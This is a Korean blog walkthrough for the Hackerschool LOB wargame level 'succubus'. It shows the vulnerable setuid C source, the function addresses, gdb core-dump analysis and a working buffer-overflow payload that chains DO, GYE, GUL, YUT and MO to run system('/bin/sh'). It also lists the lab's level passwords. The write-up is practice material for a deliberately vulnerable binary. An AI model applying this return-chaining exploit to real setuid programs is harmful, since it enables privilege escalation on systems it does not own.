반응형


해커스쿨 LOB LEVEL17 [zombie_assassin -> succubus] 풀이


M4ndU




해커스쿨 LOB [zombie_assassin -> succubus] 풀이입니다.


ID | zombie_assassin

PW | no place to hide

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: zombie_assassin

Password:

[zombie_assassin@localhost zombie_assassin]$ bash2

[zombie_assassin@localhost zombie_assassin]$ ls -l

total 20

-rwsr-sr-x    1 succubus succubus    13782 Mar 30  2010 succubus

-rw-r--r--    1 root     root         1519 Mar 30  2010 succubus.c

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}



소스를 보면,

        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


리턴주소가 무조건 DO()함수 주소여야 하네요.

그리고 각 DO GYE GUL YUT MO함수에 도달하면서 check 조건문을 만족 시키고

최종적으로 MO함수에 도달해서 쉘을 띄우면 되는 것 같습니다.


순서대로 함수를 호출하고, system()의 인자로 "/bin/sh"를 넣어주면 된다.


페이로드를 구성해보면


dummy[44]+&DO()[4]+&GYE()[4]+&GUL()[4]+&YUT()[4]+&MO()[4]+dummy[4]+&"/bin/sh"[4]+"/bin/sh"


&MO()[4]뒤에 dummy 4바이트는 MO함수의 리턴 주소를 덮어준 것이다.


그럼 각 함수의 주소를 알아낸다.


[zombie_assassin@localhost zombie_assassin]$ readelf -s ./succubus |grep FUNC

    1:  80483dc   359 FUNC    GLOBAL  0  UND strchr@GLIBC_2.0 (2)

    2:  80483ec   116 FUNC    WEAK    0  UND __register_frame_info@GLIBC_2.0 (2)

    3:  80483fc    46 FUNC    GLOBAL  0  UND isprint@GLIBC_2.0 (2)

    4:  804840c   670 FUNC    GLOBAL  0  UND system@GLIBC_2.0 (2)

    5:  804841c   162 FUNC    WEAK    0  UND __deregister_frame_info@GLIBC_2.0 (2)

    6:  804842c    30 FUNC    GLOBAL  0  UND memcmp@GLIBC_2.0 (2)

    7:  804843c   261 FUNC    GLOBAL  0  UND __libc_start_main@GLIBC_2.0 (2)

    8:  804844c    41 FUNC    GLOBAL  0  UND printf@GLIBC_2.0 (2)

    9:  804845c   232 FUNC    GLOBAL  0  UND exit@GLIBC_2.0 (2)

   10:  804846c    70 FUNC    GLOBAL  0  UND memset@GLIBC_2.0 (2)

   13:  804847c    34 FUNC    GLOBAL  0  UND strcpy@GLIBC_2.0 (2)

   37:  80484c0     0 FUNC    LOCAL   0   12 __do_global_dtors_aux

   39:  8048508     0 FUNC    LOCAL   0   12 fini_dummy

   41:  8048510     0 FUNC    LOCAL   0   12 frame_dummy

   42:  8048530     0 FUNC    LOCAL   0   12 init_dummy

   47:  8048920     0 FUNC    LOCAL   0   12 __do_global_ctors_aux

   49:  8048944     0 FUNC    LOCAL   0   12 init_dummy

   57:  8048584   416 FUNC    GLOBAL  0   12 dumpcode

   58:  80483dc   359 FUNC    GLOBAL  0  UND strchr@@GLIBC_2.0

   61:  80483ec   116 FUNC    WEAK    0  UND __register_frame_info@@GLIBC_2.0

   62:  80483fc    46 FUNC    GLOBAL  0  UND isprint@@GLIBC_2.0

   64:  804875c    47 FUNC    GLOBAL  0   12 YUT

   65:  804840c   670 FUNC    GLOBAL  0  UND system@@GLIBC_2.0

   66:  80487bc    47 FUNC    GLOBAL  0   12 GYE

   67:  804839c     0 FUNC    GLOBAL  0   10 _init

   68:  804841c   162 FUNC    WEAK    0  UND __deregister_frame_info@@GLIBC_2.0

   69:  80487ec    28 FUNC    GLOBAL  0   12 DO

   72:  804878c    47 FUNC    GLOBAL  0   12 GUL

   73:  804842c    30 FUNC    GLOBAL  0  UND memcmp@@GLIBC_2.0

   75:  8048808   268 FUNC    GLOBAL  0   12 main

   76:  804843c   261 FUNC    GLOBAL  0  UND __libc_start_main@@GLIBC_2.0

   78:  804844c    41 FUNC    GLOBAL  0  UND printf@@GLIBC_2.0

   79:  8048540    66 FUNC    GLOBAL  0   12 printchar

   80:  804894c     0 FUNC    GLOBAL  0   13 _fini

   81:  804845c   232 FUNC    GLOBAL  0  UND exit@@GLIBC_2.0

   85:  804846c    70 FUNC    GLOBAL  0  UND memset@@GLIBC_2.0

   89:  804847c    34 FUNC    GLOBAL  0  UND strcpy@@GLIBC_2.0

   90:  8048724    55 FUNC    GLOBAL  0   12 MO



DO() | 0x080487ec

GYE() | 0x080487bc

GUL() | 0x0804878c

YUT() | 0x0804875c

MO() | 0x08048724


이제 "/bin/sh"의 주소를 구해줍니다.


./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`



tmp폴더를 만들어서 복사본을 만들고 core 덤프를 일으켜서 gdb로 core 파일을 분석합니다.


[zombie_assassin@localhost zombie_assassin]$ mkdir tmp

[zombie_assassin@localhost zombie_assassin]$ cp succubus tmp/

[zombie_assassin@localhost zombie_assassin]$ cd tmp/

[zombie_assassin@localhost tmp]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDDSSSS/bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

Segmentation fault (core dumped)

[zombie_assassin@localhost tmp]$ gdb -c core -q

Core was generated by `                                                                              '.

Program terminated with signal 11, Segmentation fault.

#0  0x44444444 in ?? ()

(gdb) x/10s $esp

0xbffffa94:      "SSSS/bin/sh"

0xbffffaa0:      "\b\210\004\b\002"

0xbffffaa6:      ""

0xbffffaa7:      ""

0xbffffaa8:      "퀭?234\203\004\bL\211\004\b`?

0xbffffab7:      "@술?220>\001@\002"

0xbffffac2:      ""

0xbffffac3:      ""

0xbffffac4:      "빛옮??

0xbffffacd:      ""

(gdb) x/s 0xbffffa98

0xbffffa98:      "/bin/sh"



이제 익스플로잇!

./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`



[zombie_assassin@localhost tmp]$ cd ..

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDD섨?bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$

bash$ my-pass

euid = 517

here to stay



성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

+ Recent posts